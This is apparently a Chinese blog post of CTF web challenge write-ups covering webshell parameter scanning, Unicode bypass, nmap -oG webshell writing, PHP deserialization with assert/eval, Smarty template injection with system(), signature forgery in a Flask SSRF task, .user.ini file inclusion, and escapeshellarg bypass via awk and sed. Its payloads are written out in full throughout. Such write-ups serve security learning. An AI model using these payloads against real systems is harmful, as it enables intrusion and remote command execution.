web_week5

week5

信息收集

[强网杯 2019]高明的黑客

脚本

注意事项:
1.php 7+
2.放在phpstudy->网站根目录
import os
import requests
import re
import threading
import time

print('开始时间:  ' + time.asctime(time.localtime(time.time())))  # 只是一个简单的时间函数,看起来更漂亮罢了
s1 = threading.Semaphore(100)  # 这儿设置最大的线程数
filePath = r"F:\web\phpstudy\WWW\src"
os.chdir(filePath)  # 改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5  # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)  # 得到该目录下所有文件的名称
session = requests.Session()  # 得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False  # 设置连接活跃状态为False


def get_content(file):
    s1.acquire()  # 好像与锁什么的相关,但是还是不太懂,多线程开启
    print('trying   ' + file + '     ' + time.asctime(time.localtime(time.time())))  # 更好看,同时可以对比不加线程和加线程的时间对比
    with open(file, encoding='utf-8') as f:  # 打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  # 所有的$_POST
    params = {}  # 所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/' + file
    req = session.post(url, data=data, params=params)  # 一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    # print(content)
    if "xxxxxx" in content:  # 如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
            content = req.text
            req.close()  # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'xxxxxx';"})
                content = req.text
                req.close()  # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:  # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()  # 对应于之前的多线程打开


for i in files:  # 加入多线程
    t = threading.Thread(target=get_content, args=(i,))
    t.start()

解题过程:

step1:
访问下载/www.tar.gz	备份源码
step2:
看到有一堆php文件,打开几个看到有GET,POST传参,一些getshell文件,用脚本把get,post这些文件找出来,在本地搭建一个靶机,遍历这些文件那个有效(脚本在上面)
step3:
找到直接访问就是

Unicode

[ASIS 2019]Unicorn shop

知识点:

1.一些Unicode表示的含义是一样的,可以用来绕过
https://www.compart.com/en/unicode/

解题过程:

step1:
让我们买马,在id输入1,price输入对应的回显Wrong commodity!  1,2,3都是一样的回显
到4的时候回显Only one char(?) allowed!  只让输入一个字符
step2:
在那个网站上找到对应的大于1337数字的替换,我用的𐄣(2000)就可以了

nmap写文件

[网鼎杯 2020 朱雀组]Nmap

考点

nmap写文件

解题过程

这道题和[BUUCTF 2018]Online Tool差不多
step1:
给了一个输入框,在这里尝试写一下文件
' <?php eval($_POST["666"]);?> -oG 1.php '
回显hacker是做了过滤
尝试' <?= @eval($_POST["666"]); ?> -oG 1.php '还是回显Hacker...' <?= @eval($_POST["666"]); ?> -oG 1.phtml 'Host maybe down
访问1.phtml有回显
step2:
666=phpinfo();有回显
就可以传参拿到flag

代码审计&动态调用

[NPUCTF2020]ReadlezPHP

考点:

动态调用

解题过程:

step1:
在源码代码里面看到./time.php?source访问一下得到源码
 <?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


2024-07-18 01:39:54
step2:
看页面的回显,在看到 $this->a = "Y-m-d h:i:s"; $this->b = "date";   echo $b($a); 
就是function()
step2:
构造payload=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_POST%5Bcmd%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
<?
class HelloPhp
{
    public $a = 'eval($_POST[cmd])';
  public $b = "assert";
  public function __destruct()
  {
      $a = $this->a;
      $b = $this->b;
      echo $b($a);
  }
   }
    echo $c =urlencode(serialize(new HelloPhp));
 
?>
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_POST%5Bcmd%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
执行cmd=phpinfo();搜索flag就拿到了

ssti(smarty)

[CISCN2019 华东南赛区]Web11

知识点

smarty
有IP相关,获取到了IP,通过控制XFF进行命令执行,基本可以确定是smarty模板注入
smarty的版本号:	{$smarty.version}		
php标签:
{php}phpinfo(){/php}
 Smarty已经废弃{php}标签,在Smarty 3.1,{php}仅在SmartyBC中可用。  
{literal} 标签:
{literal}
<script language="php">phpinfo();</script>
{/literal}
 {if}标签 :
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}

解题过程:

step1:
提示ip,看到了smarty,在xff尝试{{7*7}}在current ip那里有回显49
step2:
{if phpinfo()}(/if)有回显
{if system('ls')}{/if}
{if system('ls /')}{/if}
{if system('cat /flag')}{/if}

代码审计

[De1CTF 2019]SSRF Me

考点:

代码审计

解题过程:

from flask import Flask, request, jsonify
import socket
import hashlib
import urllib.request
import os

app = Flask(__name__)
secret_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = hashlib.md5(ip.encode()).hexdigest()
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)

    def exec_task(self):
        result = {'code': 500}
        if self.check_sign():
            if "scan" in self.action:
                result_file = os.path.join(self.sandbox, "result.txt")
                with open(result_file, 'w') as tmpfile:
                    resp = self.scan(self.param)
                    if resp == "Connection Timeout":
                        result['data'] = resp
                    else:
                        tmpfile.write(resp)
                result['code'] = 200
            elif "read" in self.action:
                result_file = os.path.join(self.sandbox, "result.txt")
                with open(result_file, 'r') as f:
                    result['code'] = 200
                    result['data'] = f.read()
            else:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def check_sign(self):
        expected_sign = get_sign(self.action, self.param)
        return expected_sign == self.sign

@app.route("/geneSign", methods=['GET', 'POST'])
def generate_sign():
    param = request.args.get("param", "")
    action = "scan"
    return get_sign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = request.cookies.get("action")
    param = request.args.get("param", "")
    sign = request.cookies.get("sign")
    ip = request.remote_addr
    if waf(param):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return jsonify(task.exec_task())

@app.route('/')
def index():
    with open("code.txt", "r") as file:
        return file.read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        response = urllib.request.urlopen(param).read()[:50]
        return response.decode()
    except Exception:
        return "Connection Timeout"

def get_sign(action, param):
    return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()

def waf(param):
    check = param.strip().lower()
    if check.startswith(("gopher", "file")):
        return True
    return False

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)
思路:
/geneSign
传param以及默认action=scan通过getSign生成签名
/De1ta
从cookie中获去action和sign和param传入task
waf()过滤gopher和file
getSign()返回hashlib.md5(secert_key + param + action).hexdigest(),action,param是可控的
scan可以直接写文件名或者读取本地文件
Exec()主要是action中如果有read和scan关键字及操作,action中有scan,利用scan()方法读取内容并放入result.txt,有read即读取result.txt
看到hintflag在flag.txt里面
所以要去用scan把flag.txt写入result.txt,在用read读取,
先满足sign才可以读到flag.txt
代码审计,看到有三个参数param,action,sign,

解题过程:

step1:
/geneSign?param=flag.txtread获取sign
输入flag.txtread的原因是因为action是scan,而在getSign里几个字符是.号会连接起来,所以就变成了key.flag.txtreadscan(拼接)/因为secret_key + param.encode() + action.encode()/
De1ta?param=flag.txt
cookie: action=readscan;sign=e0cbd840a7cb064356554e8878fbc8d7

baby_php

知识点

1.file_get_contents(path,include_path,context,start,max_length)
path 	必需。规定要读取的文件。
include_path 	可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。
context		可选。规定文件句柄的环境。
context 	是一套可以修改流的行为的选项。若使用 null,则忽略。
start 	可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length 	可选。规定读取的字节数。该参数是 PHP 5.1 新加的。
2.file_put_contents ( string filename, string data [, int flags [, resource context]] )
filename 	文件名
data 	文件数据
3.php弱比较类型/http://t.csdnimg.cn/AaBCO/
布尔值true和任意字符串都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的,例如:
var_dump(true=="hyuf")                   //true
var_dump(True == 0);	                 //bool(false)
var_dump(True == 'False');	             //bool(true)
var_dump(True == 2);	                 //bool(true)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-31 13:40:37
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-31 16:36:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);

class fileUtil{

    private $name;
    private $content;


    public function __construct($name,$content=''){
        $this->name = $name;
        $this->content = $content;
        ini_set('open_basedir', '/var/www/html');
    }

    public function file_upload(){
        if($this->waf($this->name) && $this->waf($this->content)){
            return file_put_contents($this->name, $this->content);
        }else{
            return 0;
        }
    }

    private function waf($input){
        return !preg_match('/php/i', $input);
    }

    public function file_download(){
        if(file_exists($this->name)){
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.$this->name.'"');
            header('Content-Transfer-Encoding: binary');
            echo file_get_contents($this->name);
        }else{
            return False;
        }
    }

    public function __destruct(){

    }

}

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='upload'){
    die('Permission denied');
}

switch ($action) {
    case 'upload':
        $name = $_POST['name'];
        $content = $_POST['content'];
        $ft = new fileUtil($name,$content);
        if($ft->file_upload()){
            echo $name.' upload success!';
        }
        break;
    case 'download':
        $name = $_POST['name'];
        $ft = new fileUtil($name,$content);
        if($ft->file_download()===False){
            echo $name.' download failed';
        }
        break;
    default:
        echo 'baby come on';
        break;
}

思路

file_upload里面有file_put_contents($this->name, $this->content)//file_put_contents ( string filename, string data [, int flags [, resource context]] )将filename文件名,data文件数据,就是一个写文件的操作
__construct构造函数,并明确所有文件操作都在/var/www/html路径
file_download这是一个读文件的操作,有file_get_contents,在这里可以读文件;
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);三元运算,但是这里其实是默认那个a=true了
<?php
var_dump(highlight_file(_file_));
?>可以试一下。回显就是bool(true)从这进去switch就是弱比较了,比较true和upload返回true直接进入'upload'了这样就绕过了
if($action==='upload'){
    die('Permission denied');
}
所以进入upload我们利用的是file_get_contents,我们可以写文件,所以就想到利用user.ini,让我们的代码包含在当前页面index.php也就是当前页面

解题过程

payload:
name=.user.ini&content=auto_prepend_file=1.jpg;
name=1.jpg&content=<?= system('ls /');?>
name=1.jpg&content=<?= system('cat /flag_baby_here_you_are home')?>

easyPHP

知识点:

1.sed命令
2.awk命令
awk options 'pattern {action}' file
options:是一些选项,用于控制 awk 的行为。
pattern:是用于匹配输入数据的模式。如果省略,则 awk 将对所有行进行操作。
{action}:是在匹配到模式的行上执行的动作。如果省略,则默认动作是打印整行。
3.escapeshellcmd是对&#;|*?~<>^()[]{}$\, \x0A 和 `\xFF这些字符之前添加一个转义字符'\'。

escapeshellarg的作用是 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。

解题过程:

 <?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
$param = $_POST['param'];

if(isset($cmd) && isset($param)){
    $cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
    shell_exec($cmd)这个;
}

注意看到shell_exec($cmd)这个这里可控,由于escapeshellcmd(substr($cmd,0,3))只取cmd前三个字母,escapeshellarg($param)会对传进来的的东西进行特定的空格替换,在这里有两种方法利用sed或者awk/sed是替换原来代码一些东西,awk是把我们要的提取合在一个地方/
法一:awk
payload
cmd=awk&param={system("ls />a.txt")}
cmd=awk&param={system("cat /f1agaaa")}//用{}是因为awk的语法规范
法二:sed
cmd=sed&param=/esca/d;s/shell_exec/system/g;w 1.php
则访问1.php,代码变成:
 <?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
$param = $_POST['param'];

if(isset($cmd) && isset($param)){
    system($cmd);
}
然后直接执行命令
cmd=ls /&param=a
cmd=cat /f1agaaa&param=a

posted @ 2024-07-24 09:12  鱿鱼1029  阅读(18)  评论(0编辑  收藏  举报